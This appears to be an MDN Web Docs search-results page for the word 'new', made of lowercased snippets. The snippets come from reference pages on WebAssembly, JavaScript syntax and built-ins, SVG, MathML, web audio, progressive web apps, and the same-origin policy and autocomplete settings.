static properties webassembly.module.customsections() given a module and string, returns a copy of the contents of all custom sections in the module with the given string name. webassembly.module.exports() given a module, returns an array containing descriptions of all the declared exports. ...
...module, returns an array containing descriptions of all the declared imports. examples sending a compiled module to a worker the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends the resulting module instance to a worker using postmessage(). var worker =
new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread. when the module is received, we create an instance from it using the webassembly.instantiate() method and invoke an expo...
WebAssembly.Table.prototype.grow() - JavaScript
ebassembly.table object increases the size of the table instance by a specified number of elements. syntax table.grow(number); parameters number the number of elements you want to grow the table by. return value the previous length of the table. exceptions if the grow() operation fails for whatever reason, a rangeerror is thrown. ...
...ts. syntax table.grow(number); parameters number the number of elements you want to grow the table by. return value the previous length of the table. exceptions if the grow() operation fails for whatever reason, a rangeerror is thrown. examples using grow the following example creates a
new webassembly table instance with an initial size of 2 and a maximum size of 10. var table =
new webassembly.table({ element: "anyfunc", initial: 2, maximum: 10 }); you can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification. browser compatibility t...
WebAssembly.Table.prototype.set() - JavaScript
an exported webassembly function, a javascript wrapper for an underlying wasm function. return value void. exceptions if index is greater than or equal to table.prototype.length, a rangeerror is thrown. if value is not an exported webassembly function or null, a typeerror is thrown. ...
...using table.set the following example (see table2.html source code and live version) creates a
new webassembly table instance with an initial size of 2 references. we then print out the table length and contents of the two indexes (retrieved via table.prototype.get()) to show that the length is two, and the indexes currently contain no function references (they currently return null). ...
encodeURIComponent() - JavaScript
cape sequences for characters composed of two "surrogate" characters). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax encodeuricomponent(str); parameters str string. a component of a uri. return value a
new string representing the provided string encoded as a uri component. description encodeuricomponent() escapes all characters except: not escaped: a-z a-z 0-9 - _ . ! ~ * ' ( ) encodeuricomponent() differs from encodeuri as follows: var set1 = ";,/?:@&=+$"; // reserved characters var set2 = "-_.!~*'()"; // unescaped characters var set3 = "#"; // number sign var set4 = "abc ...
...-entered fields from forms post'd to the server. this will encode "&" symbols that may inadvertently be generated during data entry for special html entities or other characters that require encoding/decoding. for example, if a user writes "jack & jill", the text may get encoded as "jack & jill". without encodeuricomponent() the ampersand could be interpretted on the server as the start of a
new field and jeopardize the integrity of the data. for application/x-www-form-urlencoded, spaces are to be replaced by "+", so one may wish to follow a encodeuricomponent() replacement with an additional replacement of "%20" with "+". to be more stringent in adhering to rfc 3986 (which reserves !, ', (, ), and *), even though these characters have no formalized uri delimiting uses, the following c...
escape() - JavaScript
the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification. … … programmers should not use or assume the existence of these features and behaviours when writing
new ecmascript code. … the escape() function computes a
new string in which certain characters have been replaced by a hexadecimal escape sequence. note: this function was used mostly for url queries (the part of a url following ?)—not for escaping ordinary string literals, which use the format "\xhh". (hh are two hexadecimal digits, and the form \xhh\xhh is used for higher-plane unicode char...
...following ?)—not for escaping ordinary string literals, which use the format "\xhh". (hh are two hexadecimal digits, and the form \xhh\xhh is used for higher-plane unicode characters.) escaped characters in string literals can be expanded by replacing the \x with %, then using the decodeuricomponent() function. syntax escape(str) parameters str a string to be encoded. return value a
new string in which certain characters have been escaped. description the escape function is a property of the global object. special characters are encoded with the exception of: @*_+-./ the hexadecimal form for characters, whose code unit value is 0xff or less, is a two-digit escape sequence: %xx. for characters with a greater code unit, the four-digit format %uxxxx is used. examples using esc...
isNaN() - JavaScript
// parsing this as a number fails and returns nan useful special-case behavior there is a more usage oriented way to think of isnan(): if isnan(x) returns false...
... // parsing this as a number fails and returns nan useful special-case behavior there is a more usage oriented way to think of isnan(): if isnan(x) returns false, you can use x in an arithmetic expression...
unescape() - JavaScript
m the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification. … … programmers should not use or assume the existence of these features and behaviours when writing
new ecmascript code. … the unescape() function computes a
new string in which hexadecimal escape sequences are replaced with the character that it represents. the escape sequences might be introduced by a function like escape. usually, decodeuri or decodeuricomponent are preferred over unescape. note: do not use unescape to decode uris, use decodeuri instead. syntax unescape(str) parameters ...
... description the unescape function is a property of the global object. ...
Destructuring assignment - JavaScript
ucturing assignment without a declaration. {a, b} = {a: 1, b: 2} is not valid stand-alone syntax, as the {a, b} on the left-hand side is considered a block and not an object literal. however, ({a, b} = {a: 1, b: 2}) is valid, as is const {a, b} = {a: 1, b: 2} your ( ... ) expression needs to be preceded by a semicolon or it may be used to execute a function on the previous line. assigning to
new variable names a property can be unpacked from an object and assigned to a variable with a different name than the object property. const o = {p: 42, q: true}; const {p: foo, q: bar} = o; console.log(foo); // 42 console.log(bar); // true here, for example, const {p: foo} = o takes from the object o the property named p and assigns it to a local variable named foo. default values a variable ...
...r} = o; console.log(foo); // 42 console.log(bar); // true here, for example, const {p: foo} = o takes from the object o the property named p and assigns it to a local variable named foo. default values a variable can be assigned a default, in the case that the value unpacked from the object is undefined. const {a = 10, b = 5} = {a: 3}; console.log(a); // 3 console.log(b); // 5 assigning to
new variables names and providing default values a property can be both 1) unpacked from an object and assigned to a variable with a different name and 2) assigned a default value in case the unpacked value is undefined. const {a: aa = 10, b: bb = 5} = {a: 3}; console.log(aa); // 3 console.log(bb); // 5 unpacking fields from objects passed as function parameter const user = { id: 42, displa...
Right shift (>>) - JavaScript
hence the name "sign-propagating". the source for this interactive example is stored in a github repository. ...
...ithub repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax a >> b description this operator shifts the first operand the specified number of bits to the right. excess bits shifted off to the right are discarded. copies of the leftmost bit are shifted in from the left. since the
new leftmost bit has the same value as the previous leftmost bit, the sign bit (the leftmost bit) does not change. hence the name "sign-propagating". for example, 9 >> 2 yields 2: . 9 (base 10): 00000000000000000000000000001001 (base 2) -------------------------------- 9 >> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) likewise, -9 >> 2 yields -3, becau...
class expression - JavaScript
foo instanceof object; // true foo instanceof function; // true class foo {} // throws syntaxerror (class declarations do not allow re-declaration) examples a simple class expression this is just a simple anonymous class expression which you can refer to using the variable foo. ...
...instance =
new foo(); instance.bar(); // "hello world!" foo.name; // "foo" named class expressions if you want to refer to the current class inside the class body, you can create a named class expression. the name is only visible within the scope of the class expression itself. const foo = class namedfoo { constructor() {} whoisthere() { return namedfoo.name; } } const bar =
new foo(); bar.whoisthere(); // "namedfoo" namedfoo.name; // referenceerror: namedfoo is not defined foo.name; // "namedfoo" specifications specification ecmascript (ecma-262)the definition of 'class definitions' in that specification. ...
super - JavaScript
} square.logdescription(); // 'i have 4 sides which are all equal' deleting super properties will throw an error you cannot use the delete operator and super.prop or super[expr] to delete a parent class' property, it will throw a referenceerror. class base { constructor() {} foo() {} } class derived extends base { constructor() {} delete() { delete super.foo; // this is bad } }
new derived().delete(); // referenceerror: invalid delete involving 'super'. super.prop cannot overwrite non-writable properties when defining non-writable properties with e.g. object.defineproperty, super cannot overwrite the value of the property. class x { constructor() { object.defineproperty(this, 'prop', { configurable: true, writable: false, value: 1 }); } } ...
... defining non-writable properties with e.g. object.defineproperty, super cannot overwrite the value of the property. class x { constructor() { object.defineproperty(this, 'prop', { configurable: true, writable: false, value: 1 }); } } class y extends x { constructor() { super(); } foo() { super.prop = 2; // cannot overwrite the value. } } var y =
new y(); y.foo(); // typeerror: "prop" is read-only console.log(y.prop); // 1 using super.prop in object literals super can also be used in the object initializer / literal notation. in this example, two objects define a method. in the second object, super calls the first object's method. this works with the help of object.setprototypeof() with which we are able to set the prototype of obj2 to obj...
yield - JavaScript
that the generator function has not fully completed. once paused on a yield expression, the generator's code execution remains paused until the generator's next() method is called. each time the generator's next() method is called, the generator resumes execution, and runs until it reaches one of the following: a yield, which causes the generator to once again pause and return the generator's
new value. the next time next() is called, execution resumes with the statement immediately after the yield. throw is used to throw an exception from the generator. this halts execution of the generator entirely, and execution resumes in the caller (as is normally the case when an exception is thrown). the end of the generator function is reached. in this case, execution of the generator ends and a...
... execution of the generator ends and an iteratorresult is returned to the caller in which the value is the value specified by the return statement and done is true. if an optional value is passed to the generator's next() method, that value becomes the value returned by the generator's current yield operation. between the generator's code path, its yield operators, and the ability to specify a
new starting value by passing it to generator.prototype.next(), generators offer enormous power and control. unfortunately, next() is asymmetric, but that can’t be helped: it always sends a value to the currently suspended yield, but returns the operand of the following yield. examples using yield the following code is the declaration of an example generator function. function* countapplesal...
for...of - JavaScript
/ 10 // 20 // 30 you can use let instead of const too, if you reassign the variable inside the block. ...
... (let value of iterable) { value += 1; console.log(value); } // 11 // 21 // 31 iterating over a string const iterable = 'boo'; for (const value of iterable) { console.log(value); } // "b" // "o" // "o" iterating over a typedarray const iterable =
new uint8array([0x00, 0xff]); for (const value of iterable) { console.log(value); } // 0 // 255 iterating over a map const iterable =
new map([['a', 1], ['b', 2], ['c', 3]]); for (const entry of iterable) { console.log(entry); } // ['a', 1] // ['b', 2] // ['c', 3] for (const [key, value] of iterable) { console.log(value); } // 1 // 2 // 3 iterating over a set const iterable =
new set([1, 1, 2, 2, 3, 3]); for (const value of iterable) { console.log(value); } // 1 // 2 // 3 iterating over the arguments object you can i...
function* - JavaScript
const someobj = { *generator () { yield 'a'; yield 'b'; } } const gen = someobj.generator() console.log(gen.next()); // { value: 'a', done: false } console.log(gen.next()); // { value: 'b', done: false } console.log(gen.next()); // { value: undefined, done: true } generator as an object method class foo { *generator () { yield 1; yield 2; yield 3; } } const f =
new foo (); const gen = f.generator(); console.log(gen.next()); // { value: 1, done: false } console.log(gen.next()); // { value: 2, done: false } console.log(gen.next()); // { value: 3, done: false } console.log(gen.next()); // { value: undefined, done: true } generator as a computed property class foo { *[symbol.iterator] () { yield 1; yield 2; } } const someobj = { *[symbol.iter...
...e: 1, done: false } console.log(gen.next()); // { value: 2, done: false } console.log(gen.next()); // { value: 3, done: false } console.log(gen.next()); // { value: undefined, done: true } generator as a computed property class foo { *[symbol.iterator] () { yield 1; yield 2; } } const someobj = { *[symbol.iterator] () { yield 'a'; yield 'b'; } } console.log(array.from(
new foo)); // [ 1, 2 ] console.log(array.from(someobj)); // [ 'a', 'b' ] generators are not constructable function* f() {} var obj =
new f; // throws "typeerror: f is not a constructor generator defined in an expression const foo = function* () { yield 10; yield 20; }; const bar = foo(); console.log(bar.next()); // {value: 10, done: false} generator example function* powers(n){ //en...
import.meta - JavaScript
he script was obtained, for external scripts, or the document base url of the containing document, for inline scripts. note that this will include query parameters and/or hash (i.e., following the ? or #). ...
... (i.e., following the ? or #). for example, with the following html: <script type="module"> import './index.mjs?someurlinfo=5'; </script> ..the following javascript file will log the `someurlinfo parameter: // index.mjs
new url(import.meta.url).searchparams.get('someurlinfo'); // 5 the same applies when a file imports another: // index.mjs import './index2.mjs?someurlinfo=5'; // index2.mjs
new url(import.meta.url).searchparams.get('someurlinfo'); // 5 note that while node.js will pass on query parameters (or the hash) as in the latter example, as of node 14.1.0, a url with query parameters will err when loading in the form node --experimental-modules index.mjs?someurlinfo=5 (it is treated as a file rather than a url in this context). such file-specific argument passing may be complem...
JavaScript reference - JavaScript
ions do...while for for each...in for...in for...of for await...of while other debugger import label with expressions and operators javascript expressions and operators. ...
...do...while for for each...in for...in for...of for await...of while other debugger import label with expressions and operators javascript expressions and operators. ...
Authoring MathML - MathML
cons: this may be harder to use: people must learn a syntax, typos in the code may easily lead to parsing or rendering errors etc the interface is not user-friendly: only code editor without immediate display of the mathematical expression. none of the syntax has been standardized, making cross-compatibility between converters difficult. even the popular latex language keeps having
new packages added. client-side conversion in a web environment, the most obvious method to convert a simple syntax into a dom tree is to use javascript and of course many libraries have been developed to perform that task. pros: this is very easy setup: only a few javascript and css files to upload and/or a link to add to your document header. this is a pure web-based solution: e...
...ts and buttons to build advanced constructions. once you are done, you can save your document as a xhtml page. lyx is a graphical latex editor, which has built-in support for xhtml+mathml export and can be configured to use similar latex-to-(x)html converters. you can for example, you can configure it to use latexml html5/epub export. openoffice and libreoffice have an equation editor (file →
new → formula). it is semi-wysiwyg: you enter the source of the formula using the equation panel/keyboard and a preview of the formula is regularly refreshed. the editor uses its own syntax "starmath" for the source but mathml is also generated when the document is saved. to get the mathml code, save the document as mml and open it with any text editor. alternatively, you can extract the odf file (...
Web audio codec guide - Web media technologies
o the 50 hz to 7,000 hz range, which covers most of the frequency range of typical human vocalization. this makes it ill-suited for handling any audio that might range outside the human speech range, such as music. g.722 audio is encoded using adaptive differential pulse code modulation (adpcm), in which each sample is represented not by its absolute value, but as a value indicating how much the
new sample differs from the previous sample. g.722 is primarily used with webrtc connections, as it's one of the audio codecs mandated by the webrtc specification. supported bit rates g.722: 48 kbps, 56 kbps, and 64 kbps; however, in practice 64 kbps is always used g.722 annex b super wide-band: 64 kbps, 80 kbps, and 96 kbps g.722 annex d stereo wide-band: 64 kbps and 80 kbps ...
... adds a graphical user interface that makes it much easier to control the wide variety of options ffmpeg offers while encoding audio and/or video. binaries are available for macos, linux, and windows. audacity an open source audio editor that supports loading audio from many different formats, editing, filtering, and adjusting the audio, and saving it back out in either the original format or a
new format. available for macos, linux, and windows. lame a high quality open source mp3 encoder with support for cbr, abr, and vbr encoding as well as a variety of other options. distributed only in source form by the lame project, but can be installed using homebrew or similar tools. ...
Digital audio concepts - Web media technologies
ms can reduce the size of the audio to between 5-20% of the original size, depending on the complexity of the audio. the vastly superior compression ratios possible with lossy compression usually make it a compelling choice, and adequate or excellent audio quality is possible with well-chosen codec configurations. researchers are continuing to devise better ways to analyze and compress audio, so
new formats come out periodically that offer various improvements, either in compression ratio or audio fidelity (or both). use cases for lossless audio include scenarios such as: any situation in which the listener expects precise audio reproduction and may have an ear for sound that's good enough to make out the intricate details of unaltered audio audio loops and samples used in music and sou...
...implifying the sound through psychoacoustic analysis, codecs use other algorithms and transforms to further simplify and reduce the size of the audio. if you'd like to learn more about the way compression works on audio, take a look at audio data compression on wikipedia. importantly, codecs do all the hard work for you. it's why so much engineering and scientific study goes into the creation of
new algorithms and codecs. all you need to do is consider the options and your use case, then choose the appropriate codec for your needs. note: for a more detailed guide to choosing audio codecs, see choosing a codec in web audio codec guide. lossless encoder parameters lossless encoders have a lot less room to manipulate the audio to improve the compression rate, given the need to be able to r...
The building blocks of responsive design - Progressive web apps (PWAs)
ses feature tests to find out what code features the browser supports or what the values of certain browser features are, and then adjusts the code appropriately. this tends to be termed responsive design or adaptive design, two related but different approaches. this is much more reliable, more maintainable, and more future proof. you don't get caught in the situation of having to bring out more
new site versions as more
new browsers and platforms come out, and adjust code as feature support in existing browsers changes. there are disadvantages to this approach as well. if the content, layout, and functionality need to change greatly for different devices, it may not be such a good approach. also, taking an existing site and adding responsiveness to it, to make it mobile/tablet friendly, ca...
...andards proposals in the works that would provide this — the w3c responsive images community group discussed this problem for ages and arrived at the <picture> element, which provides a similar markup structure to <video>, with <source> alternatives selectable via media query results. another proposal, srcset, was put forward by apple and takes a slightly different approach, instead providing a
new srcset attribute for <img> inside which image references are placed along with "hints" that the browser can use to work out which image is most suitable to display given its viewport size, resolution, etc. these are not intended to be mutually exclusive. this all sounds good. but those solutions are definitely not ready for production yet — both are in a very early stage of standardization, an...
Progressive web apps (PWAs)
home screen" feature of their browser.how to make pwas re-engageable using notifications and pushhaving the ability to cache the contents of an app to work offline is a great feature. allowing the user to install the web app on their home screen is even better. but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver
new content whenever it is available.introduction to progressive web appsthis article provides an introduction to progressive web apps (pwas), discussing what they are and the advantages they offer over regular web apps.making pwas work offline with service workersin this article we took a simple look at how you can make your pwa work offline with service workers. be sure to check out our further doc...
...ppets you need to build progressive web apps right there in your vs code environment. progressive web apps on google developers. progressive web apps: escaping tabs without losing our soul by alex russell. progressive web apps check list. the lighthouse tool by google. tools for building progressive web apps with angular. react pwa guide kit. offline-capable pokédex web site. hacker
news readers as progressive web apps. progressive web app: advantages in a nutshell why progressive web apps are the future of mobile web (2019 research). progressive web apps: everything you need to know collection of resources, codelabs and tools you need to build pwas by the team at pwafire.org setting up your progressive web app development environment ...
SVG Core Attributes - SVG: Scalable Vector Graphics
pting, or styling (with css). value: any valid id string; animatable: no lang participates in defining the language of the element, the language that non-editable elements are written in or the language that editable elements should be written in. the tag contains one single entry value in the format defined in the tags for identifying languages (bcp47) ietf document. svg 2 introduce the
new lang attributes. if both lang and xml:lang attribute are used, xml:lang has priority over lang. value: any valid language id; animatable: no tabindex the tabindex svg attribute allows you to control whether an element is focusable and to define the relative order of the element for the purposes of sequential focus navigation. value type: <integer>; animatable: no xml:base specifies a b...
...ue type: <iri>; animatable: no xml:lang it is a universal attribute allowed in all xml dialects to mark up the natural human language that an element contains. it's almost identical in usage to html's lang, but in conforming xml 1.0 documents, it does not allow the use of a null attribute value (xml:lang="") to indicate an unknown language. instead, use xml:lang="und". svg 2 introduce the
new lang attributes. if both lang and xml:lang attribute are used, xml:lang has priority over lang. value: any valid language id; animatable: no xml:space deprecated since svg 2 svg supports the standard xml attribute xml:space to specify the handling of white space characters within a given <text> element's character data. note: instead of using the xml:space attribute you should use t...
d - SVG: Scalable Vector Graphics
bsolute negative x and y values are interpreted as negative coordinates; relative negative x values move to the left, and relative negative y values move upwards. moveto path commands moveto instructions can be thought of as picking up the drawing instrument, and setting it down somewhere else—in other words, moving the current point (po; {xo, yo}). there is no line drawn between po and the
new current point (pn; {xn, yn}). command parameters notes m (x, y)+ move the current point to the coordinate x,y. any subsequent coordinate pair(s) are interpreted as parameter(s) for implicit absolute lineto (l) command(s) (see below). formula: pn = {x, y} m (dx, dy)+ move the current point by shifting the last known position of the p...
...ive to the x-axis; large-arc-flag and sweep-flag allows to chose which arc must be drawn as 4 possible arcs can be drawn out of the other parameters. large-arc-flag allows to chose one of the large arc (1) or small arc (0), sweep-flag allows to chose one of the clockwise turning arc (1) or anticlockwise turning arc (0) the coordinate x,y becomes the
new current point for the next command. all subsequent sets of parameters are considered implicit absolute arc curve (a) commands. a (rx ry angle large-arc-flag sweep-flag dx dy)+ draw an arc curve from the current point to a point for which coordinates are those of the current point shifted by dx along the x-axis and dy along the y-axis. the center of the ellipse used to draw the...
enable-background - SVG: Scalable Vector Graphics
ulation of the background image is managed. note: as a presentation attribute, enable-background can be used as a css property. as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <a>, <defs>, <glyph>, <g>, <marker>, <mask>, <missing-glyph>, <pattern>, <svg>, <switch>, and <symbol> context notes value accumulate |
new [ <x> <y> <width> <height> ]? default value accumulate animatable no accumulate if an ancestor container element has a property value of enable-background:
new, then all graphics elements within the current container element are rendered both onto the parent container elementʼs background image canvas and onto the target device. otherwise, there is no curren...
... accumulate if an ancestor container element has a property value of enable-background:
new, then all graphics elements within the current container element are rendered both onto the parent container elementʼs background image canvas and onto the target device. otherwise, there is no current background image canvas, so graphics elements are only rendered onto the target device.
new [ <x> <y> <width> <height> ]? this value enables the ability of children of the current container element to access the background image. it also indicates that a
new (i.e., initially transparent black) background image canvas is established and that in effect all children of the current container element shall be rendered into the
new background image canvas in addition to being rendered on...
target - SVG: Scalable Vector Graphics
svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozilla.org" target="_blank"> <text x="0" y="60">open link in
new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or window</text> </a> </svg> usage notes value _self | _parent | _top | _blank | <xml-name> default value _self animatable yes _replace the current svg image is replaced by the linked content in the same rectang...
...d by the linked content in the same browsing context as the current svg image. _parent the immediate parent browsing context of the svg image is replaced by the linked content, if it exists and can be securely accessed from this document. _top the content of the full active window or tab is replaced by the linked content, if it exists and can be securely accessed from this document _blank a
new un-named window or tab is requested for the display of the linked content, if this document can securely do so. if the user agent does not support multiple windows/tabs, the result is the same as _top. <xml-name> specifies the name of the browsing context (tab, inline frame, object, etc.) for display of the linked content. if a context with this name already exists, and can be securely accessed...
xml:space - SVG: Scalable Vector Graphics
then, it draws all space characters (including leading, trailing and mult...
...then, it draws all space characters (including leading, trailing and multiple consecutive space characters). for example, the string "a b" (three spaces between "a" and "b") separates "a" and "b" more than "a b" (one space between "a" and "b"). ...
<feComposite> - SVG: Scalable Vector Graphics
transform="translate(900,25)" xlink:href="#twobluetriangles"/> </g> </defs> <rect fill="none" stroke="blue" x="1" y="1" width="1098" height="648"/> <g font-family="verdana" font-size="40" shape-rendering="crispedges"> <desc>render the examples using the filters that draw on top of an opaque white surface, thus obliterating the background.</desc> <g enable-background="
new"> <text x="15" y="75">opacity 1.0</text> <text x="15" y="115" font-size="27">(with feflood)</text> <text x="15" y="200">opacity 0.5</text> <text x="15" y="240" font-size="27">(with feflood)</text> <use xlink:href="#bluetriangles"/> <g transform="translate(275,25)"> <use xlink:href="#red100" filter="url(#overflood)" /> <use xlink:href="#red50" fi...
...use xlink:href="#red50" filter="url(#xorflood)" /> <text x="15" y="275">xor</text> </g> <g transform="translate(900,25)"> <use xlink:href="#red100" filter="url(#arithmeticflood)" /> <use xlink:href="#red50" filter="url(#arithmeticflood)" /> <text x="-25" y="275">arithmetic</text> </g> </g> <g transform="translate(0,325)" enable-background="
new"> <desc>render the examples using the filters that do not obliterate the background, thus sometimes causing the background to continue to appear in some cases, and in other cases the background image blends into itself ("double-counting").</desc> <text x="15" y="75">opacity 1.0</text> <text x="15" y="115" font-size="27">(without feflood)</text> ...
SVG documentation index - SVG: Scalable Vector Graphics
certain blending mode. this is similar to what is known from image editing software when blending two layers. the mode is defined by the mode attribute. 311 <fecolormatrix> element, svg, svg filter the <fecolormatrix> svg filter element changes colors based on a transformation matrix. every pixel's color value [r,g,b,a] is matrix multiplied by a 5 by 5 color matrix to create
new color [r',g',b',a']. 312 <fecomponenttransfer> element, svg, svg filter th <fecomponenttransfer> svg filter primitive performs color-component-wise remapping of data for each pixel. it allows operations like brightness adjustment, contrast adjustment, color balance or thresholding. 313 <fecomposite> element, needsexample, svg, svg filter the <fecomposite>...
...ines a color and its position to use on a gradient. this element is always a child of a <lineargradient> or <radialgradient> element. 367 <style> element, reference, svg the svg <style> element allows style sheets to be embedded directly within svg content. 368 <svg> element, reference, svg, svg container, web the svg element is a container that defines a
new coordinate system and viewport. it is used as the outermost element of svg documents, but it can also be used to embed an svg fragment inside an svg or html document. 369 <switch> element, needsexample, svg, svg container the <switch> svg element evaluates any requiredfeatures, requiredextensions and systemlanguage attributes on its direct child elements in order, and then re...
Example - SVG: Scalable Vector Graphics
} // class mote function mote() { // dimensions of drawing area. var dims = dimensions(); var width = dims[0], height = dims[1]; // choose a random coordinate to start at. this.x = rand( width ); this.y = rand( height ); // nil initial velocity. this.vx = this.vy = 0; // a visual element---initially none this.elt = null; } // turn this into a class.
new mote(); // mote::applyforce() -- adjust velocity // towards the given position. // warning: pseudo-physics -- not really // governed by any /real/ physical principles. mote.prototype.applyforce = function(pos, mag) { if( pos[0] > this.x ) this.vx += mag; else if( pos[0] < this.x ) this.vx -= mag; if( pos[1] > this.y ) this.vy += mag; else if( pos[1] < this.y ...
...ributens(null,'x2',this.x); this.elt.setattributens(null,'y2',this.y); } function update() { // first call? if( !motes ) motes = []; // how many motes should there be? var num = parseint( document.getelementbyid('num_motes').value ); if( num < 0 ) num = 0; // make sure we have exactly that many... ...
Paths - SVG: Scalable Vector Graphics
th was just drawn normally. for example: <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <path d="m10 10"/> <!-- points --> <circle cx="10" cy="10" r="2" fill="red"/> </svg> there are three commands that draw lines. the most generic is the "line to" command, called with l. l takes two parameters—x and y coordinates—and draws a line from the current position to a
new position. l x y (or) l dx dy there are two abbreviated forms for drawing horizontal and vertical lines. h draws a horizontal line, and v draws a vertical line. both commands only take one parameter since they only move in one direction. h x (or) h dx v y (or) v dy an easy place to start is by drawing a shape. we will start with a rectangle (the same type that could be more easily ...
... q x1 y1, x y (or) q dx1 dy1, dx dy <svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"> <path d="m 10 80 q 95 10 180 80" stroke="black" fill="transparent"/> </svg> as with the cubic bézier curve, there is a shortcut for stringing together multiple quadratic béziers, called with t. t x y (or) t dx dy this shortcut looks at the previous control point used and infers a
new one from it. this means that after the first control point, fairly complex shapes can be made by specifying only end points. this only works if the previous command was a q or a t command. if not, then the control point is assumed to be the same as the previous point, and only lines will be drawn. <svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"> <path d="m 10 80 q 52.5 10, ...
SVG and CSS - SVG: Scalable Vector Graphics
this page illustrates the application of css to the specialized language for creating graphics: svg. below you'll create a simple demonstration that runs in your svg-enabled browser. note: elements referenced by <use> elements inherit the styles from that element. so to apply different styles to them you should use css custom properties. example make a
new svg document as a plain text file, doc8.svg. copy and paste the content from here, making sure that you scroll to get all of it: <svg width="600px" height="600px" viewbox="-300 -300 600 600" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>svg demonstration</title> <desc>mozilla css getting started - svg demonstration</desc> <defs> <radialgradient id="fade" cx="0" cy="0" r=...
...copy and paste the content from here, making sure that you scroll to get all of it: /*** svg demonstration ***/ /* page */ svg { background-color: beige; } #heading { font-size: 24px; font-weight: bold; } #caption { font-size: 12px; } /* flower */ #flower:hover { cursor: crosshair; } /* gradient */ #fade-stop-1 { stop-color: blue; } #fade-stop-2 { stop-c...
Same-origin policy - Web security
reason http://store.company.com/dir2/other.html same origin only the path differs http://store.company.com/dir/inner/another.html same origin only the path differs https://store.company.com/page.html failure different protocol http://store.company.com:81/dir/page.html failure different port (http:// is port 80 by default) http://
news.company.com/dir/page.html failure different host inherited origins scripts executed from pages with an about:blank or javascript: url inherit the origin of the document containing that url, since these types of urls do not contain information about an origin server. for example, about:blank is often used as a url of
new, empty popup windows into which the parent script writes con...
... exceptions in internet explorer internet explorer has two major exceptions to the same-origin policy: trust zones if both domains are in the highly trusted zone (e.g. ...
How to turn off form autocompletion - Web security
if a site sets autocomplete="off" for username and password <input> fields, then the browser still offers to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits the page. this is the behavior in firefox (since version 38), google chrome (since 34), and internet explorer (since version 11). ...
...e browser still offers to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits the page. this is the behavior in firefox (since version 38), google chrome (since 34), and internet explorer (since version 11). preventing autofilling with autocomplete="
new-password" if you are defining a user management page where a user can specify a
new password for another person, and therefore you want to prevent autofilling of password fields, you can use autocomplete="
new-password". this is a hint, which browsers are not required to comply with. however modern browsers have stopped autofilling <input> elements with autocomplete="
new-password" for this very reason. for example, firefox version 67 (see bug 1119063) stopped autofilling in this...
Using templates and slots - Web Components
s a template should be more semantically clear when using the <template>. in addition, <template> can have items directly added to it, like <td>, which would disappear when added to a <div>. note: you can find this complete example at element-details (see it running live also). ...
...as several features: the <template> has a <style> element with a set of css styles that are scoped just to the document fragment the <template> creates. the <template> uses <slot> and its name attribute to make three named slots: <slot name="element-name"> <slot name="description"> <slot name="attributes"> the <template> wraps the named slots in a <details> element. creating a
new <element-details> element from the <template> next, let’s create a
new custom element named <element-details> and use element.attachshadow to attach to it, as its shadow root, that document fragment we created with our <template> element above. this uses exactly the same pattern as we saw in our earlier trivial example. customelements.define('element-details', class extends htmlelement { ...
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
overview xslt supports the concept of passing parameters to a stylesheet when executing it. this has been possible for a while when using the xsltprocessor in javascript. however when using an <?xml-stylesheet?> processing instruction (pi) there used to be no way to provide parameters. to solve this two
new pis are implemented in firefox 2 (see supported versions below for details), <?xslt-param?> and <?xslt-param-namespace?>. both pis can contain "pseudo attributes" the same way that the xml-stylesheet pi does. the following document passes the two parameters "color" and "size" to the stylesheet "style.xsl". <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> note that these pis have no effect when transfor...
...butes: prefix the prefix that is mapped. namespace the namespace the prefix maps to. an xslt-param-namespace pi affects the expression in the select attribute for all xslt-params following the pi. this applies even if there are other nodes such as comments or other pis between the xslt-param-namespace and xslt-param pis. it is not an error for multiple pis to use the same prefix, every
new pi just changes what namespace the prefix maps to. if prefix is missing, empty, or equals an invalid ncname, the pi is ignored. if namespace is missing, the pi is ignored. if namespace is empty, the prefix mapping is removed. examples set the parameter 'books' to a nodeset containing all <book> elements in the 'http://www.example.org/mynamespace' namespace: <?xslt-param-namespace prefix="my"...
Exported WebAssembly functions - WebAssembly
script point of view, it's as if every wasm function is a javascript function too — but they are encapsulated by the exported wasm function object instance and there are only limited ways to access them. ...
... property is the number of declared arguments in the wasm function signature. their name property is the tostring() result of the function's index in the wasm module. if you try to call a exported wasm function that takes or returns an i64 type value, it currently throws an error because javascript currently has no precise way to represent an i64. this may well change in the future though — a
new int64 type is being considered for future standards, which could then be used by wasm. ...
Index - WebAssembly
it is also designed to run alongside javascript, allowing both to work together. ...
